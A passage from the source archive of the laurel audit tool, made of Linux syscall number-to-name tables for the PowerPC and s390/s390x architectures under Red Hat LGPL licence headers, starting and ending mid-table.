"memfd_create") _S(357, "bpf") _S(358, "execveat") _S(359, "socket") _S(360, "socketpair") _S(361, "bind") _S(362, "connect") _S(363, "listen") _S(364, "accept4") _S(365, "getsockopt") _S(366, "setsockopt") _S(367, "getsockname") _S(368, "getpeername") _S(369, "sendto") _S(370, "sendmsg") _S(371, "recvfrom") _S(372, "recvmsg") _S(373, "shutdown") _S(374, "userfaultfd") _S(375, "membarrier") _S(376, "mlock2") _S(377, "copy_file_range") _S(378, "preadv2") _S(379, "pwritev2") _S(380, "pkey_mprotect") _S(381, "pkey_alloc") _S(382, "pkey_free") _S(383, "statx") _S(384, "arch_prctl") _S(385, "io_pgetevents") _S(386, "rseq") _S(393, "semget") _S(394, "semctl") _S(395, "shmget") _S(396, "shmctl") _S(397, "shmat") _S(398, "shmdt") _S(399, "msgget") _S(400, "msgsnd") _S(401, "msgrcv") _S(402, "msgctl") _S(403, "clock_gettime64") _S(404, "clock_settime64") _S(405, "clock_adjtime64") _S(406, "clock_getres_time64") _S(407, "clock_nanosleep_time64") _S(408, "timer_gettime64") _S(409, "timer_settime64") _S(410, "timerfd_gettime64") _S(411, "timerfd_settime64") _S(412, "utimensat_time64") _S(413, "pselect6_time64") _S(414, "ppoll_time64") _S(416, "io_pgetevents_time64") _S(417, "recvmmsg_time64") _S(418, "mq_timedsend_time64") _S(419, "mq_timedreceive_time64") _S(420, "semtimedop_time64") _S(421, "rt_sigtimedwait_time64") _S(422, "futex_time64") _S(423, "sched_rr_get_interval64") _S(424, "pidfd_send_signal") _S(425, "io_uring_setup") _S(426, "io_uring_enter") _S(427, "io_uring_register") _S(428, "open_tree") _S(429, "move_mount") _S(430, "fsopen") _S(431, "fsconfig") _S(432, "fsmount") _S(433, "fspick") _S(434, "pidfd_open") _S(435, "clone3") _S(436, "close_range") _S(437, "openat2") _S(438, "pidfd_getfd") _S(439, "faccessat2") _S(440, "process_madvise") _S(441, "epoll_pwait2") _S(442, "mount_setattr") _S(443, "quotactl_fd") _S(444, "landlock_create_ruleset") _S(445, "landlock_add_rule") _S(446, "landlock_restrict_self") _S(447, "memfd_secret") _S(448, "process_mrelease") _S(449, "futex_waitv") _S(450, "set_mempolicy_home_node") _S(451, "cachestat") _S(452, "fchmodat2") laurel-0.5.6/syscall-tables/ppc_table.h000064400000000000000000000231461046102023000161520ustar 00000000000000/* ppc_table.h -- * Copyright 2005-09,2011-20 Red Hat Inc. * All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * Authors: * Steve Grubb */ _S(1, "exit") _S(2, "fork") _S(3, "read") _S(4, "write") _S(5, "open") _S(6, "close") _S(7, "waitpid") _S(8, "creat") _S(9, "link") _S(10, "unlink") _S(11, "execve") _S(12, "chdir") _S(13, "time") _S(14, "mknod") _S(15, "chmod") _S(16, "lchown") _S(17, "break") _S(18, "oldstat") _S(19, "lseek") _S(20, "getpid") _S(21, "mount") _S(22, "umount") _S(23, "setuid") _S(24, "getuid") _S(25, "stime") _S(26, "ptrace") _S(27, "alarm") _S(28, "oldfstat") _S(29, "pause") _S(30, "utime") _S(31, "stty") _S(32, "gtty") _S(33, "access") _S(34, "nice") _S(35, "ftime") _S(36, "sync") _S(37, "kill") _S(38, "rename") _S(39, "mkdir") _S(40, "rmdir") _S(41, "dup") _S(42, "pipe") _S(43, "times") _S(44, "prof") _S(45, "brk") _S(46, "setgid") _S(47, "getgid") _S(48, "signal") _S(49, "geteuid") _S(50, "getegid") _S(51, "acct") _S(52, "umount2") _S(53, "lock") _S(54, "ioctl") _S(55, "fcntl") _S(56, "mpx") _S(57, "setpgid") _S(58, "ulimit") _S(59, "oldolduname") _S(60, "umask") _S(61, "chroot") _S(62, "ustat") _S(63, "dup2") _S(64, "getppid") _S(65, "getpgrp") _S(66, "setsid") _S(67, "sigaction") _S(68, "sgetmask") _S(69, "ssetmask") _S(70, "setreuid") _S(71, "setregid") _S(72, "sigsuspend") _S(73, "sigpending") _S(74, "sethostname") _S(75, "setrlimit") _S(76, "getrlimit") _S(77, "getrusage") _S(78, "gettimeofday") _S(79, "settimeofday") _S(80, "getgroups") _S(81, "setgroups") _S(82, "select") _S(83, "symlink") _S(84, "oldlstat") _S(85, "readlink") _S(86, "uselib") _S(87, "swapon") _S(88, "reboot") _S(89, "readdir") _S(90, "mmap") _S(91, "munmap") _S(92, "truncate") _S(93, "ftruncate") _S(94, "fchmod") _S(95, "fchown") _S(96, "getpriority") _S(97, "setpriority") _S(98, "profil") _S(99, "statfs") _S(100, "fstatfs") _S(101, "ioperm") _S(102, "socketcall") _S(103, "syslog") _S(104, "setitimer") _S(105, "getitimer") _S(106, "stat") _S(107, "lstat") _S(108, "fstat") _S(109, "olduname") _S(110, "iopl") _S(111, "vhangup") _S(112, "idle") _S(113, "vm86") _S(114, "wait4") _S(115, "swapoff") _S(116, "sysinfo") _S(117, "ipc") _S(118, "fsync") _S(119, "sigreturn") _S(120, "clone") _S(121, "setdomainname") _S(122, "uname") _S(123, "modify_ldt") _S(124, "adjtimex") _S(125, "mprotect") _S(126, "sigprocmask") _S(127, "create_module") _S(128, "init_module") _S(129, "delete_module") _S(130, "get_kernel_syms") _S(131, "quotactl") _S(132, "getpgid") _S(133, "fchdir") _S(134, "bdflush") _S(135, "sysfs") _S(136, "personality") _S(137, "afs_syscall") _S(138, "setfsuid") _S(139, "setfsgid") _S(140, "_llseek") _S(141, "getdents") _S(142, "_newselect") _S(143, "flock") _S(144, "msync") _S(145, "readv") _S(146, "writev") _S(147, "getsid") _S(148, "fdatasync") _S(149, "_sysctl") _S(150, "mlock") _S(151, "munlock") _S(152, "mlockall") _S(153, "munlockall") _S(154, "sched_setparam") _S(155, "sched_getparam") _S(156, "sched_setscheduler") _S(157, "sched_getscheduler") _S(158, "sched_yield") _S(159, "sched_get_priority_max") _S(160, "sched_get_priority_min") _S(161, "sched_rr_get_interval") _S(162, "nanosleep") _S(163, "mremap") _S(164, "setresuid") _S(165, "getresuid") _S(166, "query_module") _S(167, "poll") _S(168, "nfsservctl") _S(169, "setresgid") _S(170, "getresgid") _S(171, "prctl") _S(172, "rt_sigreturn") _S(173, "rt_sigaction") _S(174, "rt_sigprocmask") _S(175, "rt_sigpending") _S(176, "rt_sigtimedwait") _S(177, "rt_sigqueueinfo") _S(178, "rt_sigsuspend") _S(179, "pread") _S(180, "pwrite") _S(181, "chown") _S(182, "getcwd") _S(183, "capget") _S(184, "capset") _S(185, "sigaltstack") _S(186, "sendfile") _S(187, "getpmsg") _S(188, "putpmsg") _S(189, "vfork") _S(190, "ugetrlimit") _S(191, "readahead") _S(192, "mmap2") _S(193, "truncate64") _S(194, "ftruncate64") _S(195, "stat64") _S(196, "lstat64") _S(197, "fstat64") _S(198, "pciconfig_read") _S(199, "pciconfig_write") _S(200, "pciconfig_iobase") _S(201, "multiplexer") _S(202, "getdents64") _S(203, "pivot_root") _S(204, "fcntl64") _S(205, "madvise") _S(206, "mincore") _S(207, "gettid") _S(208, "tkill") _S(209, "setxattr") _S(210, "lsetxattr") _S(211, "fsetxattr") _S(212, "getxattr") _S(213, "lgetxattr") _S(214, "fgetxattr") _S(215, "listxattr") _S(216, "llistxattr") _S(217, "flistxattr") _S(218, "removexattr") _S(219, "lremovexattr") _S(220, "fremovexattr") _S(221, "futex") _S(222, "sched_setaffinity") _S(223, "sched_getaffinity") _S(225, "tuxcall") _S(226, "sendfile64") _S(227, "io_setup") _S(228, "io_destroy") _S(229, "io_getevents") _S(230, "io_submit") _S(231, "io_cancel") _S(232, "set_tid_address") _S(233, "fadvise64") _S(234, "exit_group") _S(235, "lookup_dcookie") _S(236, "epoll_create") _S(237, "epoll_ctl") _S(238, "epoll_wait") _S(239, "remap_file_pages") _S(240, "timer_create") _S(241, "timer_settime") _S(242, "timer_gettime") _S(243, "timer_getoverrun") _S(244, "timer_delete") _S(245, "clock_settime") _S(246, "clock_gettime") _S(247, "clock_getres") _S(248, "clock_nanosleep") _S(249, "swapcontext") _S(250, "tgkill") _S(251, "utimes") _S(252, "statfs64") _S(253, "fstatfs64") _S(254, "fadvise64_64") _S(255, "rtas") _S(262, "mq_open") _S(263, "mq_unlink") _S(264, "mq_timedsend") _S(265, "mq_timedreceive") _S(266, "mq_notify") _S(267, "mq_getsetattr") _S(268, "kexec_load") _S(269, "add_key") _S(270, "request_key") _S(271, "keyctl") _S(272, "waitid") _S(273, "ioprio_set") _S(274, "ioprio_get") _S(275, "inotify_init") _S(276, "inotify_add_watch") _S(277, "inotify_rm_watch") _S(278, "spu_run") _S(279, "spu_create") _S(280, "pselect6") _S(281, "ppoll") _S(282, "unshare") _S(283, "splice") _S(284, "tee") _S(285, "vmsplice") _S(286, "openat") _S(287, "mkdirat") _S(288, "mknodat") _S(289, "fchownat") _S(290, "futimesat") _S(291, "fstatat64") _S(292, "unlinkat") _S(293, "renameat") _S(294, "linkat") _S(295, "symlinkat") _S(296, "readlinkat") _S(297, "fchmodat") _S(298, "faccessat") _S(299, "get_robust_list") _S(300, "set_robust_list") _S(301, "move_pages") _S(302, "getcpu") _S(303, "epoll_pwait") _S(304, "utimensat") _S(305, "signalfd") _S(306, "timerfd") _S(307, "eventfd") _S(308, "sync_file_range2") _S(309, "fallocate") _S(310, "subpage_prot") _S(311, "timerfd_settime") _S(312, "timerfd_gettime") _S(313, "signalfd4") _S(314, "eventfd2") _S(315, "epoll_create1") _S(316, "dup3") _S(317, "pipe2") _S(318, "inotify_init1") _S(319, "perf_counter_open") _S(320, "preadv") _S(321, "pwritev") _S(322, "rt_tgsigqueueinfo") _S(323, "fanotify_init") _S(324, "fanotify_mark") _S(325, "prlimit64") _S(326, "socket") _S(327, "bind") _S(328, "connect") _S(329, "listen") _S(330, "accept") _S(331, "getsockname") _S(332, "getpeername") _S(333, "socketpair") _S(334, "send") _S(335, "sendto") _S(336, "recv") _S(337, "recvfrom") _S(338, "shutdown") _S(339, "setsockopt") _S(340, "getsockopt") _S(341, "sendmsg") _S(342, "recvmsg") _S(343, "recvmmsg") _S(344, "accept4") _S(345, "name_to_handle_at") _S(346, "open_by_handle_at") _S(347, "clock_adjtime") _S(348, "syncfs") _S(349, "sendmmsg") _S(350, "setns") _S(351, "process_vm_readv") _S(352, "process_vm_writev") _S(353, "finit_module") _S(354, "kcmp") _S(355, "sched_setattr") _S(356, "sched_getattr") _S(357, "renameat2") _S(358, "seccomp") _S(359, "getrandom") _S(360, "memfd_create") _S(361, "bpf") _S(362, "execveat") _S(363, "switch_endian") _S(364, "userfaultfd") _S(365, "membarrier") _S(378, "mlock2") _S(379, "copy_file_range") _S(380, "preadv2") _S(381, "pwritev2") _S(382, "kexec_file_load") _S(383, "statx") _S(384, "pkey_alloc") _S(385, "pkey_free") _S(386, "pkey_mprotect") _S(387, "rseq") _S(388, "io_pgetevents") _S(392, "semtimedop") _S(393, "semget") _S(394, "semctl") _S(395, "shmget") _S(396, "shmctl") _S(397, "shmat") _S(398, "shmdt") _S(399, "msgget") _S(400, "msgsnd") _S(401, "msgrcv") _S(402, "msgctl") _S(403, "clock_gettime64") _S(404, "clock_settime64") _S(405, "clock_adjtime64") _S(406, "clock_getres_time64") _S(407, "clock_nanosleep_time64") _S(408, "timer_gettime64") _S(409, "timer_settime64") _S(410, "timerfd_gettime64") _S(411, "timerfd_settime64") _S(412, "utimensat_time64") _S(413, "pselect6_time64") _S(414, "ppoll_time64") _S(416, "io_pgetevents_time64") _S(417, "recvmmsg_time64") _S(418, "mq_timedsend_time64") _S(419, "mq_timedreceive_time64") _S(420, "semtimedop_time64") _S(421, "rt_sigtimedwait_time64") _S(422, "futex_time64") _S(423, "sched_rr_get_interval_time64") _S(424, "pidfd_send_signal") _S(425, "io_uring_setup") _S(426, "io_uring_enter") _S(427, "io_uring_register") _S(428, "open_tree") _S(429, "move_mount") _S(430, "fsopen") _S(431, "fsconfig") _S(432, "fsmount") _S(433, "fspick") _S(434, "pidfd_open") _S(435, "clone3") _S(436, "close_range") _S(437, "openat2") _S(438, "pidfd_getfd") _S(439, "faccessat2") _S(440, "process_madvise") _S(441, "epoll_pwait2") _S(442, "mount_setattr") _S(443, "quotactl_fd") _S(444, "landlock_create_ruleset") _S(445, "landlock_add_rule") _S(446, "landlock_restrict_self") _S(448, "process_mrelease") _S(449, "futex_waitv") _S(450, "set_mempolicy_home_node") _S(451, "cachestat") _S(452, "fchmodat2") laurel-0.5.6/syscall-tables/s390_table.h000064400000000000000000000214111046102023000160570ustar 00000000000000/* s390_table.h -- 32 bit * Copyright 2005-21 Red Hat Inc. * All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * Authors: * Steve Grubb */ _S(1, "exit") _S(2, "fork") _S(3, "read") _S(4, "write") _S(5, "open") _S(6, "close") _S(8, "creat") _S(9, "link") _S(10, "unlink") _S(11, "execve") _S(12, "chdir") _S(13, "time") _S(14, "mknod") _S(15, "chmod") _S(16, "lchown") _S(19, "lseek") _S(20, "getpid") _S(21, "mount") _S(22, "umount") _S(23, "setuid") _S(24, "getuid") _S(25, "stime") _S(26, "ptrace") _S(27, "alarm") _S(29, "pause") _S(30, "utime") _S(33, "access") _S(34, "nice") _S(36, "sync") _S(37, "kill") _S(38, "rename") _S(39, "mkdir") _S(40, "rmdir") _S(41, "dup") _S(42, "pipe") _S(43, "times") _S(45, "brk") _S(46, "setgid") _S(47, "getgid") _S(48, "signal") _S(49, "geteuid") _S(50, "getegid") _S(51, "acct") _S(52, "umount2") _S(54, "ioctl") _S(55, "fcntl") _S(57, "setpgid") _S(60, "umask") _S(61, "chroot") _S(62, "ustat") _S(63, "dup2") _S(64, "getppid") _S(65, "getpgrp") _S(66, "setsid") _S(67, "sigaction") _S(70, "setreuid") _S(71, "setregid") _S(72, "sigsuspend") _S(73, "sigpending") _S(74, "sethostname") _S(75, "setrlimit") _S(76, "getrlimit") _S(77, "getrusage") _S(78, "gettimeofday") _S(79, "settimeofday") _S(80, "getgroups") _S(81, "setgroups") _S(83, "symlink") _S(85, "readlink") _S(86, "uselib") _S(87, "swapon") _S(88, "reboot") _S(89, "readdir") _S(90, "mmap") _S(91, "munmap") _S(92, "truncate") _S(93, "ftruncate") _S(94, "fchmod") _S(95, "fchown") _S(96, "getpriority") _S(97, "setpriority") _S(99, "statfs") _S(100, "fstatfs") _S(101, "ioperm") _S(102, "socketcall") _S(103, "syslog") _S(104, "setitimer") _S(105, "getitimer") _S(106, "stat") _S(107, "lstat") _S(108, "fstat") _S(111, "vhangup") _S(112, "idle") _S(114, "wait4") _S(115, "swapoff") _S(116, "sysinfo") _S(117, "ipc") _S(118, "fsync") _S(119, "sigreturn") _S(120, "clone") _S(121, "setdomainname") _S(122, "uname") _S(124, "adjtimex") _S(125, "mprotect") _S(126, "sigprocmask") _S(127, "create_module") _S(128, "init_module") _S(129, "delete_module") _S(130, "get_kernel_syms") _S(131, "quotactl") _S(132, "getpgid") _S(133, "fchdir") _S(134, "bdflush") _S(135, "sysfs") _S(136, "personality") _S(137, "afs_syscall") _S(138, "setfsuid") _S(139, "setfsgid") _S(140, "_llseek") _S(141, "getdents") _S(142, "_newselect") _S(143, "flock") _S(144, "msync") _S(145, "readv") _S(146, "writev") _S(147, "getsid") _S(148, "fdatasync") _S(149, "_sysctl") _S(150, "mlock") _S(151, "munlock") _S(152, "mlockall") _S(153, "munlockall") _S(154, "sched_setparam") _S(155, "sched_getparam") _S(156, "sched_setscheduler") _S(157, "sched_getscheduler") _S(158, "sched_yield") _S(159, "sched_get_priority_max") _S(160, "sched_get_priority_min") _S(161, "sched_rr_get_interval") _S(162, "nanosleep") _S(163, "mremap") _S(164, "setresuid") _S(165, "getresuid") _S(167, "query_module") _S(168, "poll") _S(169, "nfsservctl") _S(170, "setresgid") _S(171, "getresgid") _S(172, "prctl") _S(173, "rt_sigreturn") _S(174, "rt_sigaction") _S(175, "rt_sigprocmask") _S(176, "rt_sigpending") _S(177, "rt_sigtimedwait") _S(178, "rt_sigqueueinfo") _S(179, "rt_sigsuspend") _S(180, "pread") _S(181, "pwrite") _S(182, "chown") _S(183, "getcwd") _S(184, "capget") _S(185, "capset") _S(186, "sigaltstack") _S(187, "sendfile") _S(188, "getpmsg") _S(189, "putpmsg") _S(190, "vfork") _S(191, "ugetrlimit") _S(192, "mmap2") _S(193, "truncate64") _S(194, "ftruncate64") _S(195, "stat64") _S(196, "lstat64") _S(197, "fstat64") _S(198, "lchown32") _S(199, "getuid32") _S(200, "getgid32") _S(201, "geteuid32") _S(202, "getegid32") _S(203, "setreuid32") _S(204, "setregid32") _S(205, "getgroups32") _S(206, "setgroups32") _S(207, "fchown32") _S(208, "setresuid32") _S(209, "getresuid32") _S(210, "setresgid32") _S(211, "getresgid32") _S(212, "chown32") _S(213, "setuid32") _S(214, "setgid32") _S(215, "setfsuid32") _S(216, "setfsgid32") _S(217, "pivot_root") _S(218, "mincore") _S(219, "madvise") _S(220, "getdents64") _S(221, "fcntl64") _S(222, "readahead") _S(223, "sendfile64") _S(224, "setxattr") _S(225, "lsetxattr") _S(226, "fsetxattr") _S(227, "getxattr") _S(228, "lgetxattr") _S(229, "fgetxattr") _S(230, "listxattr") _S(231, "llistxattr") _S(232, "flistxattr") _S(233, "removexattr") _S(234, "lremovexattr") _S(235, "fremovexattr") _S(236, "gettid") _S(237, "tkill") _S(238, "futex") _S(239, "sched_setaffinity") _S(240, "sched_getaffinity") _S(241, "tgkill") //_S(242, "") _S(243, "io_setup") _S(244, "io_destroy") _S(245, "io_getevents") _S(246, "io_submit") _S(247, "io_cancel") _S(248, "exit_group") _S(249, "epoll_create") _S(250, "epoll_ctl") _S(251, "epoll_wait") _S(252, "set_tid_address") _S(253, "fadvise64") _S(254, "timer_create") _S(255, "timer_settime") _S(256, "timer_gettime") _S(257, "timer_getoverrun") _S(258, "timer_delete") _S(259, "clock_settime") _S(260, "clock_gettime") _S(261, "clock_getres") _S(262, "clock_nanosleep") //_S(263, "") _S(264, "fadvise64_64") _S(265, "statfs64") _S(266, "fstatfs64") _S(267, "remap_file_pages") //_S(268, "") //_S(269, "") //_S(270, "") _S(271, "mq_open") _S(272, "mq_unlink") _S(273, "mq_timedsend") _S(274, "mq_timedreceive") _S(275, "mq_notify") _S(276, "mq_getsetattr") _S(277, "kexec_load") _S(278, "add_key") _S(279, "request_key") _S(280, "keyctl") _S(281, "waitid") _S(282, "ioprio_set") _S(283, "ioprio_get") _S(284, "inotify_init") _S(285, "inotify_add_watch") _S(286, "inotify_rm_watch") //_S(287, "") _S(288, "openat") _S(289, "mkdirat") _S(290, "mknodat") _S(291, "fchownat") _S(292, "futimesat") _S(293, "fstatat64") _S(294, "unlinkat") _S(295, "renameat") _S(296, "linkat") _S(297, "symlinkat") _S(298, "readlinkat") _S(299, "fchmodat") _S(300, "faccessat") _S(301, "pselect6") _S(302, "ppoll") _S(303, "unshare") _S(304, "set_robust_list") _S(305, "get_robust_list") _S(306, "splice") _S(307, "sync_file_range") _S(308, "tee") _S(309, "vmsplice") //_S(310, "") _S(311, "getcpu") _S(312, "epoll_pwait") _S(313, "utimes") _S(314, "fallocate") _S(315, "utimensat") _S(316, "signalfd") _S(317, "timerfd") _S(318, "eventfd") _S(319, "timerfd_create") _S(320, "timerfd_settime") _S(321, "timerfd_gettime") _S(322, "signalfd4") _S(323, "eventfd2") _S(324, "inotify_init1") _S(325, "pipe2") _S(326, "dup3") _S(327, "epoll_create1") _S(328, "preadv") _S(329, "pwritev") _S(330, "rt_tgsigqueueinfo") _S(331, "perf_event_open") _S(332, "fanotify_init") _S(333, "fanotify_mark") _S(334, "prlimit64") _S(335, "name_to_handle_at") _S(336, "open_by_handle_at") _S(337, "clock_adjtime") _S(338, "syncfs") _S(339, "setns") _S(340, "process_vm_readv") _S(341, "process_vm_writev") _S(342, "s390_runtime_instr") _S(343, "kcmp") _S(344, "finit_module") _S(345, "sched_setattr") _S(346, "sched_getattr") _S(347, "renameat2") _S(348, "seccomp") _S(349, "getrandom") _S(350, "memfd_create") _S(351, "bpf") _S(352, "s390_pci_mmio_write") _S(353, "s390_pci_mmio_read") _S(354, "execveat") _S(355, "userfaultfd") _S(356, "membarrier") _S(357, "recvmmsg") _S(358, "sendmmsg") _S(359, "socket") _S(360, "socketpair") _S(361, "bind") _S(362, "connect") _S(363, "listen") _S(364, "accept4") _S(365, "getsockopt") _S(366, "setsockopt") _S(367, "getsockname") _S(368, "getpeername") _S(369, "sendto") _S(370, "sendmsg") _S(371, "recvfrom") _S(372, "recvmsg") _S(373, "shutdown") _S(374, "mlock2") _S(375, "copy_file_range") _S(376, "preadv2") _S(377, "pwritev2") _S(379, "statx") _S(380, "s390_sthyi") _S(381, "kexec_file_load") _S(382, "io_pgetevents") _S(383, "rseq") _S(384, "pkey_mprotect") _S(385, "pkey_alloc") _S(386, "pkey_free") _S(424, "pidfd_send_signal") _S(425, "io_uring_setup") _S(426, "io_uring_enter") _S(427, "io_uring_register") _S(428, "open_tree") _S(429, "move_mount") _S(430, "fsopen") _S(431, "fsconfig") _S(432, "fsmount") _S(433, "fspick") _S(434, "pidfd_open") _S(435, "clone3") _S(436, "close_range") _S(437, "openat2") _S(438, "pidfd_getfd") _S(439, "faccessat2") _S(440, "process_madvise") _S(441, "epoll_pwait2") _S(442, "mount_setattr") _S(443, "quotactl_fd") _S(444, "landlock_create_ruleset") _S(445, "landlock_add_rule") _S(446, "landlock_restrict_self") _S(448, "process_mrelease") _S(449, "futex_waitv") _S(450, "set_mempolicy_home_node") _S(451, "cachestat") _S(452, "fchmodat2") laurel-0.5.6/syscall-tables/s390x_table.h000064400000000000000000000201041046102023000162450ustar 00000000000000/* s390x_table.h -- 64 bit * Copyright 2005-06,2008-21 Red Hat Inc. * All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * Authors: * Steve Grubb */ _S(1, "exit") _S(2, "fork") _S(3, "read") _S(4, "write") _S(5, "open") _S(6, "close") _S(8, "creat") _S(9, "link") _S(10, "unlink") _S(11, "execve") _S(12, "chdir") _S(14, "mknod") _S(15, "chmod") _S(19, "lseek") _S(20, "getpid") _S(21, "mount") _S(22, "umount") _S(26, "ptrace") _S(27, "alarm") _S(29, "pause") _S(30, "utime") _S(33, "access") _S(34, "nice") _S(36, "sync") _S(37, "kill") _S(38, "rename") _S(39, "mkdir") _S(40, "rmdir") _S(41, "dup") _S(42, "pipe") _S(43, "times") _S(45, "brk") _S(48, "signal") _S(51, "acct") _S(52, "umount2") _S(54, "ioctl") _S(55, "fcntl") _S(57, "setpgid") _S(60, "umask") _S(61, "chroot") _S(62, "ustat") _S(63, "dup2") _S(64, "getppid") _S(65, "getpgrp") _S(66, "setsid") _S(67, "sigaction") _S(72, "sigsuspend") _S(73, "sigpending") _S(74, "sethostname") _S(75, "setrlimit") _S(77, "getrusage") _S(78, "gettimeofday") _S(79, "settimeofday") _S(83, "symlink") _S(85, "readlink") _S(86, "uselib") _S(87, "swapon") _S(88, "reboot") _S(89, "readdir") _S(90, "mmap") _S(91, "munmap") _S(92, "truncate") _S(93, "ftruncate") _S(94, "fchmod") _S(96, "getpriority") _S(97, "setpriority") _S(99, "statfs") _S(100, "fstatfs") _S(102, "socketcall") _S(103, "syslog") _S(104, "setitimer") _S(105, "getitimer") _S(106, "stat") _S(107, "lstat") _S(108, "fstat") _S(111, "vhangup") _S(112, "idle") _S(114, "wait4") _S(115, "swapoff") _S(116, "sysinfo") _S(117, "ipc") _S(118, "fsync") _S(119, "sigreturn") _S(120, "clone") _S(121, "setdomainname") _S(122, "uname") _S(124, "adjtimex") _S(125, "mprotect") _S(126, "sigprocmask") _S(127, "create_module") _S(128, "init_module") _S(129, "delete_module") _S(130, "get_kernel_syms") _S(131, "quotactl") _S(132, "getpgid") _S(133, "fchdir") _S(134, "bdflush") _S(135, "sysfs") _S(136, "personality") _S(137, "afs_syscall") _S(141, "getdents") _S(142, "select") _S(143, "flock") _S(144, "msync") _S(145, "readv") _S(146, "writev") _S(147, "getsid") _S(148, "fdatasync") _S(149, "_sysctl") _S(150, "mlock") _S(151, "munlock") _S(152, "mlockall") _S(153, "munlockall") _S(154, "sched_setparam") _S(155, "sched_getparam") _S(156, "sched_setscheduler") _S(157, "sched_getscheduler") _S(158, "sched_yield") _S(159, "sched_get_priority_max") _S(160, "sched_get_priority_min") _S(161, "sched_rr_get_interval") _S(162, "nanosleep") _S(163, "mremap") _S(167, "query_module") _S(168, "poll") _S(169, "nfsservctl") _S(172, "prctl") _S(173, "rt_sigreturn") _S(174, "rt_sigaction") _S(175, "rt_sigprocmask") _S(176, "rt_sigpending") _S(177, "rt_sigtimedwait") _S(178, "rt_sigqueueinfo") _S(179, "rt_sigsuspend") _S(180, "pread") _S(181, "pwrite") _S(183, "getcwd") _S(184, "capget") _S(185, "capset") _S(186, "sigaltstack") _S(187, "sendfile") _S(188, "getpmsg") _S(189, "putpmsg") _S(190, "vfork") _S(191, "getrlimit") _S(198, "lchown") _S(199, "getuid") _S(200, "getgid") _S(201, "geteuid") _S(202, "getegid") _S(203, "setreuid") _S(204, "setregid") _S(205, "getgroups") _S(206, "setgroups") _S(207, "fchown") _S(208, "setresuid") _S(209, "getresuid") _S(210, "setresgid") _S(211, "getresgid") _S(212, "chown") _S(213, "setuid") _S(214, "setgid") _S(215, "setfsuid") _S(216, "setfsgid") _S(217, "pivot_root") _S(218, "mincore") _S(219, "madvise") _S(222, "readahead") _S(224, "setxattr") _S(225, "lsetxattr") _S(226, "fsetxattr") _S(227, "getxattr") _S(228, "lgetxattr") _S(229, "fgetxattr") _S(230, "listxattr") _S(231, "llistxattr") _S(232, "flistxattr") _S(233, "removexattr") _S(234, "lremovexattr") _S(235, "fremovexattr") _S(236, "gettid") _S(237, "tkill") _S(238, "futex") _S(239, "sched_setaffinity") _S(240, "sched_getaffinity") _S(241, "tgkill") _S(243, "io_setup") _S(244, "io_destroy") _S(245, "io_getevents") _S(246, "io_submit") _S(247, "io_cancel") _S(248, "exit_group") _S(249, "epoll_create") _S(250, "epoll_ctl") _S(251, "epoll_wait") _S(252, "set_tid_address") _S(253, "fadvise64") _S(254, "timer_create") _S(255, "timer_settime") _S(256, "timer_gettime") _S(257, "timer_getoverrun") _S(258, "timer_delete") _S(259, "clock_settime") _S(260, "clock_gettime") _S(261, "clock_getres") _S(262, "clock_nanosleep") _S(265, "statfs64") _S(266, "fstatfs64") _S(267, "remap_file_pages") //_S(268, "") //_S(269, "") //_S(270, "") _S(271, "mq_open") _S(272, "mq_unlink") _S(273, "mq_timedsend") _S(274, "mq_timedreceive") _S(275, "mq_notify") _S(276, "mq_getsetattr") _S(277, "kexec_load") _S(278, "add_key") _S(279, "request_key") _S(280, "keyctl") _S(281, "waitid") _S(282, "ioprio_set") _S(283, "ioprio_get") _S(284, "inotify_init") _S(285, "inotify_add_watch") _S(286, "inotify_rm_watch") //_S(287, "") _S(288, "openat") _S(289, "mkdirat") _S(290, "mknodat") _S(291, "fchownat") _S(292, "futimesat") _S(293, "newfstatat") _S(294, "unlinkat") _S(295, "renameat") _S(296, "linkat") _S(297, "symlinkat") _S(298, "readlinkat") _S(299, "fchmodat") _S(300, "faccessat") _S(301, "pselect6") _S(302, "ppoll") _S(303, "unshare") _S(304, "set_robust_list") _S(305, "get_robust_list") _S(306, "splice") _S(307, "sync_file_range") _S(308, "tee") _S(309, "vmsplice") //_S(310, "") _S(311, "getcpu") _S(312, "epoll_pwait") _S(313, "utimes") _S(314, "fallocate") _S(315, "utimensat") _S(316, "signalfd") _S(317, "timerfd") _S(318, "eventfd") _S(319, "timerfd_create") _S(320, "timerfd_settime") _S(321, "timerfd_gettime") _S(322, "signalfd4") _S(323, "eventfd2") _S(324, "inotify_init1") _S(325, "pipe2") _S(326, "dup3") _S(327, "epoll_create1") _S(328, "preadv") _S(329, "pwritev") _S(330, "rt_tgsigqueueinfo") _S(331, "perf_event_open") _S(332, "fanotify_init") _S(333, "fanotify_mark") _S(334, "prlimit64") _S(335, "name_to_handle_at") _S(336, "open_by_handle_at") _S(337, "clock_adjtime") _S(338, "syncfs") _S(339, "setns") _S(340, "process_vm_readv") _S(341, "process_vm_writev") _S(342, "s390_runtime_instr") _S(343, "kcmp") _S(344, "finit_module") _S(345, "sched_setattr") _S(346, "sched_getattr") _S(347, "renameat2") _S(348, "seccomp") _S(349, "getrandom") _S(350, "memfd_create") _S(351, "bpf") _S(352, "s390_pci_mmio_write") _S(353, 